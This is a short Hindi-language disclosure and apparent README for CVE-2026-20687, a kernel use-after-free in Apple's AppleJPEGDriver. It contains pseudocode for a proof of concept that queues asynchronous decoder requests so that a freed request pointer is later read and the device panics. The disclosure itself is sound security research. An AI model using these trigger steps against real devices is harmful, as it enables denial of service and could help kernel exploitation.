
CVE-2026-20687: AppleJPEGDriver startDecoder टाइमआउट UAF — iOS/macOS कर्नेल भेद्यता जो विलंबित पैनिक (A19 Pro, iOS 26.3 RC) की ओर ले जाती है
CVE-2026-20687 | लेखक: Johnny Franks (@0xjohnny)
घटक: कर्नेल
प्रभाव: कोई ऐप अप्रत्याशित सिस्टम समाप्ति का कारण बन सकता है या कर्नेल मेमोरी में लिख सकता है
विवरण: बेहतर मेमोरी प्रबंधन के साथ यूज़ आफ़्टर फ़्री समस्या का समाधान किया गया।
यह आपके डिवाइस में कर्नेल पैनिक उत्पन्न करेगा। अपना काम सहेज लें।
iOS 26.3 (23D125) पर iPhone18,2 (iPhone 17 Pro Max, A19 Pro) पर परीक्षण किया गया।
सीधा ट्रिगर:
// PoC: primes the driver; panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Later, opening Camera triggers:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: does NOT dequeue (req + 0x78)
// Later still (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // UAF read of req+0x80 -> MTE tag fault -> panic
ios-app/Test.xcodeproj खोलें